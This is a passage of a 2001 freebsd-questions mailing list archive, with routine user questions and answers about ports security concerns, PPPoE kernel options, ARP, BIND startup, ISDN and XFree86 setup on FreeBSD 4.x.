site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alas! This does not make me feel warm and fuzzy! It's a good thing I'm not installing this at a bank. ----- Original Message ----- From: "Gary W. Swearingen" To: "Anthony Atkielski" Cc: "FreeBSD Questions" ; Sent: Thursday, November 22, 2001 22:00 Subject: Re: setuid on nethack? > "Anthony Atkielski" writes: > > > When I add ports and stuff to my system, sometimes they are picked up from some > > bizarre FTP sites, and in cases where the executables do not have to be trusted, > > some guidelines on how better to secure them would be welcome. I know that > > often they are being rebuilt from source before installation, but it isn't > > really practical to read through the source for every port just to look for > > suspicious code. > > I've also worried about this sort of thing since learning the ports > system last winter. There's a lot of downloading and running of scripts > as root going on and it's scary, especially after you've spent many days > tring to improve your security. A few more observations on the subject: > > The main defense seems to be the fear of being tracked down by hackers > more skillful than most crackers, aided by the use of MD5 to verify that > you're installing the same thing that someone else has already installed > and found (with meager testing, sadly, but necessarily) to work OK. > > I've read of little vandalware on FreeBSD (or Linux). The risk seems > acceptable for most people, at least those who do backups. There also > might not be any less risky practical alternatives for many. > > If one learns the details of the ports system, one can do all or most of > the ports stuff as a regular user, downloading, building, and installing > to non-standard, non-root-protected directories. Someone posted some > clues about this on -questions (or -stable?) withing the last couple of > weeks, but I can't find my copy of it. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 13:10: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sage-american.com (sage-american.com [216.122.141.44]) by hub.freebsd.org (Postfix) with ESMTP id 63FD037B405 for ; Thu, 22 Nov 2001 13:09:59 -0800 (PST) Received: from SAGEONE (adsl-208-191-226-54.dsl.crchtx.swbell.net [208.191.226.54] (may be forged)) by sage-american.com (8.9.3/8.9.3) with SMTP id PAA10502; Thu, 22 Nov 2001 15:09:48 -0600 (CST) Message-Id: <3.0.5.32.20011122151000.010034b0@mail.sage-american.com> X-Sender: jacks@mail.sage-american.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Thu, 22 Nov 2001 15:10:00 -0600 To: "ScaryG" , "Steve Brown" , "Fuji Zhang" From: jacks@sage-american.com Subject: Re: high speed internet connection and lesstif question Cc: In-Reply-To: <013f01c17395$cb0e06e0$7301a8c0@eagle.ca> References: <000d01c17381$94666b00$7301a8c0@eagle.ca> <000c01c17393$fd7255c0$660f129f@bro5637> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Really? This is still goofy? I re-read over the PPPoE section in the handbook and was happy to see you could just run with it without compiling. I wonder why the handbook would suggest recompiling the kernel with the four options is not required when you say it is? Odd. Ver 4.4 (and I believe 4.3) will indeed take care of the NETGRAPH stuff, but has to load it on the fly if not compiled into the kernel.... prior ro 4.3, I believe it HAS to be compiled. At 03:39 PM 11.22.2001 -0500, ScaryG wrote: >> I believe your [Fuji Zhang's] best bet is to forget the USB, >> part with you're $25 -> $30 (CDN) and pick up an >> ethernet card. Make sure it's on this list: >> >> ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/4.4-RELEASE/HARDWARE.TXT > > Couldn't agree more! > >> A few good reasons to stick with Ethernet: >> >> - It will also work with a cable modem if you decide to try Rogers/Shaw >> - or any other ISP's DSL package >> - If you decide to share the connection with more than 1 computer via BB >> router (Link-Sys, SMC Barricade, etc) you'll already be prepared. These >> goodies cost under $140 CDN and you get the benefit of an IP firewall as >> well. > > More good info. I often wondered if I should have just broke down and >bought a Netgear RT314 and saved me some grief configuring my FreeBSD box >but hey, I had all the stuff here and it didn't cost me anything but time. I >have two NICS in my box in which the second feeds a hub and my other >machines. > > But for those not willing to goof around with NAT and IPFW in addition to >trying PPPoE the Internet Gateway gadgets are a nice idea. > >> ScaryG has it right about the ppp.conf and kernel config. I -did- have to >> re-compile my 4.4 kernel to get it to work, the handbook does appear to be >> wrong on this. > > Really? This is still goofy? I re-read over the PPPoE section in the >handbook and was happy to see you could just run with it without compiling. >I wonder why the handbook would suggest recompiling the kernel with the four >options is not required when you say it is? Odd. > > Oh well, rock on with your bad self. > >-- >I can please only one person per day. Today is not your day. >Tomorrow isn't looking good either. > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > Best regards, Jack L. Stone, Server Admin Sage-American http://www.sage-american.com jacks@sage-american.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 13:11:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from buffnet4.buffnet.net (buffnet4.buffnet.net [205.246.19.13]) by hub.freebsd.org (Postfix) with ESMTP id 970A337B405 for ; Thu, 22 Nov 2001 13:11:10 -0800 (PST) Received: from buffnet11.buffnet.net (buffnet11.buffnet.net [205.246.19.55]) by buffnet4.buffnet.net (8.9.3/8.8.7) with ESMTP id QAA52131; Thu, 22 Nov 2001 16:31:17 -0500 (EST) (envelope-from shovey@buffnet.net) Date: Thu, 22 Nov 2001 16:11:03 -0500 (EST) From: Stephen Hovey To: Hainal Ramon Adrian Cc: freebsd-questions@FreeBSD.ORG Subject: Re: hi there .. i have a problem !!! In-Reply-To: <20011122131409.65568.qmail@web12208.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG It would be best to build the programs on the freebsd box - so to the site you got them from before, and run make, or config depending on the package. OR In the rc files, set up linux emulation - thats a bit trickier On Thu, 22 Nov 2001, Hainal Ramon Adrian wrote: > hi there ,, > > i want to ask something that it is bothering me on > freebsd.... > > before freebsd i had red hat linux 6.2 ...and on linux > i had some binary files that i used...and now on > freebsd that binery files won't work... > i asked some friends how could i make them work on > freebsd and they said to try with brandelf..but i > didn't work..or i was using brandelf in the wrong > way.. > other friends said to try to recompile the files for > freebsd ..but i don't know how to do that..:{{{.. > > please help me with this matter because i realy need > those files .... > > or should i install linux 6.2 again ??? > > please excuse my english .... > > Thank You . > > __________________________________________________ > Do You Yahoo!? > Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. > http://geocities.yahoo.com/ps/info1 > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 13:16:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail27.sdc1.sfba.home.com (femail27.sdc1.sfba.home.com [24.254.60.17]) by hub.freebsd.org (Postfix) with ESMTP id 0E97937B405 for ; Thu, 22 Nov 2001 13:16:21 -0800 (PST) Received: from cr1034264a ([24.103.169.134]) by femail27.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20011122211620.UWXG3253.femail27.sdc1.sfba.home.com@cr1034264a> for ; Thu, 22 Nov 2001 13:16:20 -0800 Message-ID: <005301c173b5$96d8a5e0$0100a8c0@cr1034264a> Reply-To: "P K" From: "P K" To: Subject: arp -a Date: Thu, 22 Nov 2001 16:27:09 -0800 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0050_01C17372.884A6F10" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0050_01C17372.884A6F10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all I ping yahoo.com. I couldn't get mac address from arp -a Why? How do I get the mac address? TIA ------=_NextPart_000_0050_01C17372.884A6F10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi all
 
I ping yahoo.com. I couldn't get mac = address from=20 arp -a
Why?
How do I get the mac = address?
 
TIA
------=_NextPart_000_0050_01C17372.884A6F10-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 13:20:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from server.dambiec.com (CPE-61-9-148-152.vic.bigpond.net.au [61.9.148.152]) by hub.freebsd.org (Postfix) with SMTP id 9298837B416 for ; Thu, 22 Nov 2001 13:20:00 -0800 (PST) Received: (qmail 28152 invoked from network); 22 Nov 2001 21:23:06 -0000 Received: from karun.lan (HELO karunwin2k) (10.0.1.3) by server.dambiec.com with SMTP; 22 Nov 2001 21:23:06 -0000 Message-ID: <002301c17347$ae88aeb0$0301000a@karunwin2k> From: "Karun" To: "P K" , References: <005301c173b5$96d8a5e0$0100a8c0@cr1034264a> Subject: Re: arp -a Date: Thu, 22 Nov 2001 21:20:24 +1000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0020_01C1739B.80101FB0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0020_01C1739B.80101FB0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Why do you need the MAC address? You will only get the MAC address for = your gateway. Karun ----- Original Message -----=20 From: P K=20 To: freebsd-questions@FreeBSD.ORG=20 Sent: Friday, November 23, 2001 10:27 AM Subject: arp -a Hi all I ping yahoo.com. I couldn't get mac address from arp -a Why? How do I get the mac address? TIA ------=_NextPart_000_0020_01C1739B.80101FB0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Why do you need the MAC address? You = will only get=20 the MAC address for your gateway.
 
Karun
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Hi all
 
I ping yahoo.com. I couldn't get mac = address from=20 arp -a
Why?
How do I get the mac = address?
 
TIA
------=_NextPart_000_0020_01C1739B.80101FB0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 13:20:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from molly.intercom.net (molly.intercom.net [216.240.106.84]) by hub.freebsd.org (Postfix) with ESMTP id B085B37B41A for ; Thu, 22 Nov 2001 13:20:09 -0800 (PST) Received: from cross (hh1105097.direcpc.com [206.71.105.97]) by molly.intercom.net (8.12.1/8.12.1) with SMTP id fAMLKtm4010574; Thu, 22 Nov 2001 16:20:57 -0500 (EST) Message-ID: <001501c1739b$4f833ad0$0273150a@woodstock.lanalyse.com> From: "Ron Hensley" To: "P K" , References: <005301c173b5$96d8a5e0$0100a8c0@cr1034264a> Subject: Re: arp -a Date: Thu, 22 Nov 2001 16:18:54 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000E_01C17371.612C33B0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_000E_01C17371.612C33B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 You only get MAC Addresses of devices on your own wire. When you ping a remote site like yahoo.com, your computer doesnt know how to get there, as yahoo.com's server isnt on your local wire. Thus it uses your default route. The MAC of your Router or Default Route Device would appear in your arp tables. - From there, that router learns how to get to the second router along the way and so on, until it makes it to yahoos LAN and then that WWW server. However your computer cant see any of that and never learns any MACs except devices talking on your own wire. - ---------------------------------------------------------------------- - ------- Ron Hensley (ronh@intercom.net) CCNA #10082337 - ---------------------------------------------------------------------- - ------- - ----- Original Message -----=20 From: P K=20 To: freebsd-questions@FreeBSD.ORG=20 Sent: Thursday, November 22, 2001 7:27 PM Subject: arp -a Hi all I ping yahoo.com. I couldn't get mac address from arp -a Why? How do I get the mac address? TIA -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBO/1rvFFb04N5DzUjEQLc0gCeO1WtwngBoZ5ThHZQ0nzygAhL/W8An0Ck TNJdFX3AcPRi+zhjTPMo8saJ =3Da4IO -----END PGP SIGNATURE----- ------=_NextPart_000_000E_01C17371.612C33B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
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However your computer cant see any of = that and=20 never learns any MACs
except devices talking on your own = wire.
 
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Sent: Thursday, November 22, 2001 7:27 PM
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Hi all
 
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Why?
How do=20 I get the mac address?
 
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------=_NextPart_000_000E_01C17371.612C33B0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 13:21:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail1.toronto.istar.net (mail1.toronto.istar.net [209.89.75.17]) by hub.freebsd.org (Postfix) with ESMTP id 80CC537B440 for ; Thu, 22 Nov 2001 13:20:53 -0800 (PST) Received: from d226-39-102.home.cgocable.net ([24.226.39.102] helo=x1-6-00-50-ba-de-36-33.kico1.on.home.com) by mail1.toronto.istar.net with esmtp (Exim 2.02 #1) id 1671HG-0007KY-00; Thu, 22 Nov 2001 16:20:58 -0500 Received: from localhost (genisis@localhost) by x1-6-00-50-ba-de-36-33.kico1.on.home.com (8.11.6/8.11.6) with ESMTP id fAMLRPx44247; Thu, 22 Nov 2001 16:27:25 -0500 (EST) (envelope-from genisis@istar.ca) X-Authentication-Warning: x1-6-00-50-ba-de-36-33.kico1.on.home.com: genisis owned process doing -bs Date: Thu, 22 Nov 2001 16:27:25 -0500 (EST) From: Dru X-X-Sender: To: P K Cc: Subject: Re: arp -a In-Reply-To: <005301c173b5$96d8a5e0$0100a8c0@cr1034264a> Message-ID: <20011122162456.U44214-100000@x1-6-00-50-ba-de-36-33.kico1.on.home.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 22 Nov 2001, P K wrote: > Hi all > > I ping yahoo.com. I couldn't get mac address from arp -a > Why? > How do I get the mac address? You can't unless you happen to be on the same cable segment as yahoo.com. That's just how ARP works. See for yourself: http://www.tildefrugal.net/geek/arp.html Dru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 13:29:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from molly.intercom.net (molly.intercom.net [216.240.106.84]) by hub.freebsd.org (Postfix) with ESMTP id 96EA637B405 for ; Thu, 22 Nov 2001 13:29:34 -0800 (PST) Received: from cross (hh1105097.direcpc.com [206.71.105.97]) by molly.intercom.net (8.12.1/8.12.1) with SMTP id fAMLULm4012008 for ; Thu, 22 Nov 2001 16:30:23 -0500 (EST) Message-ID: <002901c1739c$a0696a40$0273150a@woodstock.lanalyse.com> From: "Ron Hensley" To: "free bsd" References: <016c01c17395$bb6b0940$a50410ac@olmct.net> <025f01c17398$ca2721f0$090ea8c0@vhds001> Subject: Re: Problems with Bind. Date: Thu, 22 Nov 2001 16:28:19 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 For it to start automatically you need an /etc/named.conf file on most unixes On FreeBSD youd edit the /etc/default/rc.conf named_enable="YES" # Run named, the DNS server (or NO). Find that line and set it to a YES and it will start at reboot (see /etc/rc.network) - ----- Original Message ----- From: "Justin P. Michel" To: "Andre` Niel Cameron" ; "free bsd" Sent: Thursday, November 22, 2001 4:00 PM Subject: Re: Problems with Bind. > Andre, > > I believe you can check if bind is running by typing: > > ps -ax | grep named > > An output something like: > > 191 ?? Is 0:12.05 named -u bind -g bind > 345 v0 S+ 0:00.01 grep named > > indicates that it is running. > > To restart it from the command line, you can type: > > /usr/sbin/named > > However, with the default configuration that comes with FBSD V4.4 > Release, you can run it as user 'bind' instead of root by typing: > > /usr/sbin/named -u bind -g bind > > Regards, > > Justin > | FBSD - Unleash the Daemon! > | jpmichel@jcontinuum.ca > > ----- Original Message ----- > From: "Andre` Niel Cameron" > To: "free bsd" > Sent: Thursday, November 22, 2001 3:39 PM > Subject: Problems with Bind. > > > > It does not appear that BIND is fireing up on my server as > > everything is relying on the secondary name server. Is there a > > way for me to check to > see > > if BIND is up and how can I restart it from the command line to > > check for errors? > > > > Regards, > > Andre` C. > > Technical Support > > Ô¿Ô¬ > > ------------------------------------------------------------------ > > -------- > -- > > - > > Visit our support manual at http://supportmanual.com/ > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBO/1t8lFb04N5DzUjEQL4HACgyQeBcr1A50i9aWg9bIFnRghqM/wAn2IM 3SEZ/SG3fpZe8e+pZyobvTmx =/bB4 -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 13:30:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from molly.intercom.net (molly.intercom.net [216.240.106.84]) by hub.freebsd.org (Postfix) with ESMTP id 9F1CE37B417 for ; Thu, 22 Nov 2001 13:30:24 -0800 (PST) Received: from cross (hh1105097.direcpc.com [206.71.105.97]) by molly.intercom.net (8.12.1/8.12.1) with SMTP id fAMLVBm4012140 for ; Thu, 22 Nov 2001 16:31:12 -0500 (EST) Message-ID: <002d01c1739c$be293ab0$0273150a@woodstock.lanalyse.com> From: "Ron Hensley" To: "free bsd" References: <016c01c17395$bb6b0940$a50410ac@olmct.net> <025f01c17398$ca2721f0$090ea8c0@vhds001> Subject: Re: Problems with Bind. Date: Thu, 22 Nov 2001 16:29:09 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 my bad /etc/defaults/rc.conf not /etc/default/rc.conf - ----- Original Message ----- From: "Justin P. Michel" To: "Andre` Niel Cameron" ; "free bsd" Sent: Thursday, November 22, 2001 4:00 PM Subject: Re: Problems with Bind. > Andre, > > I believe you can check if bind is running by typing: > > ps -ax | grep named > > An output something like: > > 191 ?? Is 0:12.05 named -u bind -g bind > 345 v0 S+ 0:00.01 grep named > > indicates that it is running. > > To restart it from the command line, you can type: > > /usr/sbin/named > > However, with the default configuration that comes with FBSD V4.4 > Release, you can run it as user 'bind' instead of root by typing: > > /usr/sbin/named -u bind -g bind > > Regards, > > Justin > | FBSD - Unleash the Daemon! > | jpmichel@jcontinuum.ca > > ----- Original Message ----- > From: "Andre` Niel Cameron" > To: "free bsd" > Sent: Thursday, November 22, 2001 3:39 PM > Subject: Problems with Bind. > > > > It does not appear that BIND is fireing up on my server as > > everything is relying on the secondary name server. Is there a > > way for me to check to > see > > if BIND is up and how can I restart it from the command line to > > check for errors? > > > > Regards, > > Andre` C. > > Technical Support > > Ô¿Ô¬ > > ------------------------------------------------------------------ > > -------- > -- > > - > > Visit our support manual at http://supportmanual.com/ > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBO/1uJFFb04N5DzUjEQKECgCeLXJReyhOwGZtzZ921W3Mo5w6AsAAoNke cbthU1EWdiYnjnNBR6J9SAMH =0IyG -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 13:34:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from uranus.lan-ks.de (uranus.lan-ks.de [194.45.71.1]) by hub.freebsd.org (Postfix) with ESMTP id B589637B405 for ; Thu, 22 Nov 2001 13:34:19 -0800 (PST) Received: from pluto.lan-ks.de (pluto.lan-ks.de [194.45.71.78]) by uranus.lan-ks.de (8.11.6/8.11.5) with SMTP id fAMLWLx03804; Thu, 22 Nov 2001 22:32:21 +0100 (envelope-from evermann@pluto.lan-ks.de) Content-Type: text/plain; charset="iso-8859-1" From: "N. Evermann" To: freebsd-questions@freebsd.org Subject: FreeBSD4.4 ,i4b +ELSA PCC16 ISDN Card; ISDND153 ERR Date: Thu, 22 Nov 2001 22:33:03 +0100 X-Mailer: KMail [version 1.2] MIME-Version: 1.0 Message-Id: <01112221561600.00642@pluto.lan-ks.de> Content-Transfer-Encoding: quoted-printable Cc: evermann@pluto.lan-ks.de Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, anyone known the Kernel isic0 flags for PCC16 ELSA ISDN CARD? Flags 20 + 19 not accept! Understand my littlebit english? thank you - Norbert E.=20 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 13:39:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts12-srv.bellnexxia.net (tomts12.bellnexxia.net [209.226.175.56]) by hub.freebsd.org (Postfix) with ESMTP id D66DB37B405 for ; Thu, 22 Nov 2001 13:39:37 -0800 (PST) Received: from xena.gsicomp.on.ca ([199.243.149.34]) by tomts12-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011122213936.FAOV18252.tomts12-srv.bellnexxia.net@xena.gsicomp.on.ca>; Thu, 22 Nov 2001 16:39:36 -0500 Received: from hermes (memmerto@hermes.gsicomp.on.ca [192.168.0.18]) by xena.gsicomp.on.ca (8.11.1/8.11.1) with SMTP id fAMLVOW41244; Thu, 22 Nov 2001 16:31:24 -0500 (EST) (envelope-from matt@gsicomp.on.ca) Message-ID: <006f01c1739e$2e2b6f30$1200a8c0@gsicomp.on.ca> From: "Matthew Emmerton" To: Cc: References: <000d01c17381$94666b00$7301a8c0@eagle.ca> <000c01c17393$fd7255c0$660f129f@bro5637> <3.0.5.32.20011122151000.010034b0@mail.sage-american.com> Subject: Re: high speed internet connection and lesstif question Date: Thu, 22 Nov 2001 16:39:34 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG There is a long and convoluted explanation for that. I may be a bit off, but Brian Somers cleared me up on a lot of things wrt this earlier on this week, so here's everything in one place for the benefit of the archives. In the beginning, you had to have 'options NETGRAPH' in the kernel to use any of the netgraph widgets, and widgets could be dynamically loaded when you needed them. (So, for PPPoE, it would dyanmically load the pppoe, socket and ether widgets, with the base netgraph module being part of the kernel.) This worked just fine in 3.4-RELEASE, but broke in 4.0-RELEASE (and remains so.) The handbook was then updated to say that you needed to have all four netgraph options compiled into your kernel. This would ensure that it would never have to dynamically load modules and bail out. Somewhere after 4.0-REL (between 4.2-REL and 4.3-REL?), the FreeBSD gods made some changes so 'options NETGRAPH' *wasn't* required in your kernel anymore - it too could be loaded dynamically. So if you didn't have anything in your kernel and wanted to use PPPoE, the 'ppp' program would dynamically load the required modules and all would be well. In summary, to use PPPoE now, you don't need to modify your kernel -- everything will be loaded on the fly. However, if you want to have the support statically-linked in your kernel, be sure to add all 4 required components for PPPoE, otherwise you'll have problems. -- Matt Emmerton > > Really? This is still goofy? I re-read over the PPPoE section in the > handbook and was happy to see you could just run with it without compiling. > I wonder why the handbook would suggest recompiling the kernel with the four > options is not required when you say it is? Odd. > > > Ver 4.4 (and I believe 4.3) will indeed take care of the NETGRAPH stuff, > but has to load it on the fly if not compiled into the kernel.... prior ro > 4.3, I believe it HAS to be compiled. > > At 03:39 PM 11.22.2001 -0500, ScaryG wrote: > >> I believe your [Fuji Zhang's] best bet is to forget the USB, > >> part with you're $25 -> $30 (CDN) and pick up an > >> ethernet card. Make sure it's on this list: > >> > >> ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/4.4-RELEASE/HARDWARE.TXT > > > > Couldn't agree more! > > > >> A few good reasons to stick with Ethernet: > >> > >> - It will also work with a cable modem if you decide to try Rogers/Shaw > >> - or any other ISP's DSL package > >> - If you decide to share the connection with more than 1 computer via BB > >> router (Link-Sys, SMC Barricade, etc) you'll already be prepared. These > >> goodies cost under $140 CDN and you get the benefit of an IP firewall as > >> well. > > > > More good info. I often wondered if I should have just broke down and > >bought a Netgear RT314 and saved me some grief configuring my FreeBSD box > >but hey, I had all the stuff here and it didn't cost me anything but time. I > >have two NICS in my box in which the second feeds a hub and my other > >machines. > > > > But for those not willing to goof around with NAT and IPFW in addition to > >trying PPPoE the Internet Gateway gadgets are a nice idea. > > > >> ScaryG has it right about the ppp.conf and kernel config. I -did- have to > >> re-compile my 4.4 kernel to get it to work, the handbook does appear to be > >> wrong on this. > > > > Really? This is still goofy? I re-read over the PPPoE section in the > >handbook and was happy to see you could just run with it without compiling. > >I wonder why the handbook would suggest recompiling the kernel with the four > >options is not required when you say it is? Odd. > > > > Oh well, rock on with your bad self. > > > >-- > >I can please only one person per day. Today is not your day. > >Tomorrow isn't looking good either. > > > > > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > >with "unsubscribe freebsd-questions" in the body of the message > > > > > > Best regards, > Jack L. Stone, > Server Admin > > Sage-American > http://www.sage-american.com > jacks@sage-american.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Nov 22 13:42:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.radzinschi.com (cc222717-a.owml1.md.home.com [65.8.33.207]) by hub.freebsd.org (Postfix) with ESMTP id 8B16D37B41E for ; Thu, 22 Nov 2001 13:42:26 -0800 (PST) Received: from localhost (marco@localhost.radzinschi.com [127.0.0.1]) by mail.radzinschi.com (8.11.6/8.11.6) with ESMTP id fAMLgsN70891 for ; Thu, 22 Nov 2001 16:42:54 -0500 (EST) (envelope-from marco@radzinschi.com) Date: Thu, 22 Nov 2001 16:42:54 -0500 (EST) From: Marco Radzinschi To: FreeBDS-Questions Subject: Re: X11 on HP Vectra VE 5/200 MMX Series 4? In-Reply-To: <20011120010109.R58840-100000@mail.radzinschi.com> Message-ID: <20011122163633.W70864-100000@mail.radzinschi.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, No one replied to my original message, but I have since managed to get XFree86 up and running. Turns out this machine uses an S3 Trio 64V2/DX graphics card with 2048K RAM. I set up XF86 to use the S3 server, but it complained that it wasn't installed - I somehow forgot that part. I then installed the S3 server and GNOME, typed "startx" and I was in business! 